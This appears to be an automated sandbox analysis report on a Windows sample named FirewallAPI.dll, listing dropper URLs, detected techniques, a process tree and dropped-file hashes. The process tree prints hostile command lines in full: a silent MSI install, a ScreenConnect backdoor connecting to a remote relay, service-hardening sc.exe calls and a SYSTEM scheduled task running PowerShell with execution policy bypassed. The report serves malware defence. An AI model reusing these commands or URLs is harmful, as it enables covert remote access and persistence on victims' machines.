Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 12:19

General

  • Target
    FirewallAPI.dll
  • Size 13.0MB
  • Sample261113-pg7lpabv31
  • SHA256 4618b08c25eb187b77eb923bcb9860a8f0d61faae8ad19aded77cd744522822e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://files.trade4rex.com/every.msi

  • exe.dropper

    https://every.trade4rex.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

  • exe.dropper

    https://files.trade4rex.com/poc.ps1

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 23 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 37 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\FirewallAPI.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\system32\msiexec.exe
      msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\every.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3980
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DF470BB50E8FA7C841E822E1A195DFB6
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI9A57.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240688093 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3932
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E6D990D916D60D4231D6F4DA54E97275 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4288
  • C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=every.trade4rex.com&p=8041&s=b93af927-883b-4c2f-954d-4b3d17fe482b&k=BgIAAACkAABSU0ExAAgAAAEAAQB9UMQAMORHN9f8s1uBoQzP6KBVGbK8WVPDcNQJMdkJ99niVdBel5y%2fV%2bL0t7tL8GBWwF4w%2f9wXVr0%2fTw2CmuCgIeMHPRBTpLnT1EiwqkPsV7KZqXaTVeCvphP7UziMjc4v2IiSI%2fZWY%2bMoYiCso7inh3ZXkP0jJCwZeOZCF3zRrBUPURrY6RISPCx4OozRQXjaRhL5PeMLPoYArjrdPawMHZhvHFoWPmDBsGsl1pQ78MiOwlW0q7sHYabOMF3MfGoihaFgtT3XxwUcw8joxoHRv04Dy58%2fH6%2fDF788pdi%2b0lMuJcMdfswpZXWKc8uOFlpj5z6IXcbYCESFjeNfI4nE&c=sp1&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:312
    • C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe" "RunRole" "0f76dd86-f835-4c05-9230-676b2e6e97a0" "User"
      2⤵
      • Executes dropped EXE
      PID:2088
    • C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe" "RunRole" "65fc2a37-b813-4be6-b974-78b893e89d3e" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:736
    • C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe
      "WindowsPowershell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -File "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\gXz_Tsf82U2rrun.ps1"
      2⤵
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Command and Scripting Interpreter: PowerShell
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Windows\TEMP\poc.ps1
        3⤵
        • Badlisted process makes network request
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" failure "ScreenConnect Client (3976db503f0d9819)" reset= 0 actions= restart/5000/restart/5000/restart/5000
          4⤵
          • Launches sc.exe
          PID:3788
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" config "ScreenConnect Client (3976db503f0d9819)" start= auto
          4⤵
          • Launches sc.exe
          PID:3752
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" sdset "ScreenConnect Client (3976db503f0d9819)" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCLCSWRPWPDTLOCRRC;;;BA)(D;;WPDTSD;;;IU)(D;;WPDTSD;;;BU)
          4⤵
          • Launches sc.exe
          PID:4836
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /tn EveryGuard /tr "powershell -NoProfile -ExecutionPolicy Bypass -File C:\ProgramData\every_guard.ps1" /sc minute /mo 30 /ru SYSTEM /rl HIGHEST /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1016
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell
    1⤵
      PID:3076

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58974c.rbs

          • Path C:\Config.Msi\e58974c.rbs
          • Size 214KB
          • SHA256 decc8dad85ef15300a81ad5a47a3d5b1703a7091271d8d73523d5d65bee86c0c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\app.config
          • Size 1KB
          • SHA256 e1b9f6dfc162050f5f30beb30dcfbb9593fb187d46ed771ce9d5e0dbb95aa1df
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3976db503f0d9819)\system.config
          • Size 943B
          • SHA256 1d615553e56e7e246ae5bb3de51927f8c741b87bf1113a26be89e593320df268
          • MD5 SHA1 SHA512 TLSH

          every.msi

          • Path C:\Users\Admin\AppData\Local\Temp\every.msi
          • Size 12.9MB
          • SHA256 1c1e54f19a4fc56f18aac146ff04f997545b2c9c0096d2f63cd51db33382fe7d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI9A57.tmp

          • Path C:\Windows\Installer\MSI9A57.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI9A57.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI9A57.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI9A57.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI9A57.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIA5A3.tmp

          • Path C:\Windows\Installer\MSIA5A3.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          gXz_Tsf82U2rrun.ps1

          • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\gXz_Tsf82U2rrun.ps1
          • Size 245B
          • SHA256 de205b609846be6d97aae90b415e4a37c8deb89e76d0cfc9b28fca882e4885b5
          • MD5 SHA1 SHA512 TLSH

          poc.ps1

          • Path C:\Windows\TEMP\poc.ps1
          • Size 4KB
          • SHA256 90912b7acfbce3566320d422ef49eaaded4e8faf69318b09251a274e50103dfc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_wmjiwjdz.km4.ps1

          • Path C:\Windows\Temp\__PSScriptPolicyTest_wmjiwjdz.km4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          powershell.exe.log

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 5b1d1366cbc889103cb1630554ad9389726368bde312db9a11cc5fb7b517250b
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9
          • MD5 SHA1 SHA512 TLSH

          memory/312-97-0x00000000048B0000-0x0000000004900000-memory.dmp

          memory/312-75-0x0000000004520000-0x0000000004538000-memory.dmp

          memory/312-104-0x0000000004C00000-0x0000000004C41000-memory.dmp

          memory/312-106-0x0000000004E80000-0x0000000004F55000-memory.dmp

          memory/312-102-0x0000000004CA0000-0x0000000004D32000-memory.dmp

          memory/312-101-0x0000000004900000-0x0000000004936000-memory.dmp

          memory/1664-135-0x0000013F73900000-0x0000013F73922000-memory.dmp

          memory/2088-120-0x000000001B160000-0x000000001B1EC000-memory.dmp

          memory/2088-119-0x0000000000B70000-0x0000000000BA6000-memory.dmp

          memory/2088-122-0x000000001C1D0000-0x000000001C356000-memory.dmp

          memory/2088-124-0x0000000000BD0000-0x0000000000BE8000-memory.dmp

          memory/2088-123-0x0000000000B30000-0x0000000000B48000-memory.dmp

          memory/2088-125-0x0000000000BF0000-0x0000000000C31000-memory.dmp

          memory/2088-118-0x00000000001E0000-0x0000000000278000-memory.dmp

          memory/2088-121-0x000000001B3A0000-0x000000001B54C000-memory.dmp

          memory/3076-175-0x000002492E3C0000-0x000002492E404000-memory.dmp

          memory/3076-176-0x000002492E490000-0x000002492E506000-memory.dmp

          memory/3932-35-0x0000000005440000-0x00000000059E4000-memory.dmp

          memory/3932-22-0x0000000002610000-0x000000000263E000-memory.dmp

          memory/3932-26-0x0000000002660000-0x000000000266A000-memory.dmp

          memory/3932-30-0x0000000004AA0000-0x0000000004B2C000-memory.dmp

          memory/3932-34-0x0000000004CE0000-0x0000000004E8C000-memory.dmp

          memory/4536-158-0x000001D5D1600000-0x000001D5D161C000-memory.dmp

          memory/4536-159-0x000001D5D1620000-0x000001D5D16D5000-memory.dmp

          memory/4536-160-0x000001D5D16E0000-0x000001D5D16EA000-memory.dmp

          memory/4536-161-0x000001D5D1720000-0x000001D5D174A000-memory.dmp

          memory/4536-162-0x000001D5D1720000-0x000001D5D1744000-memory.dmp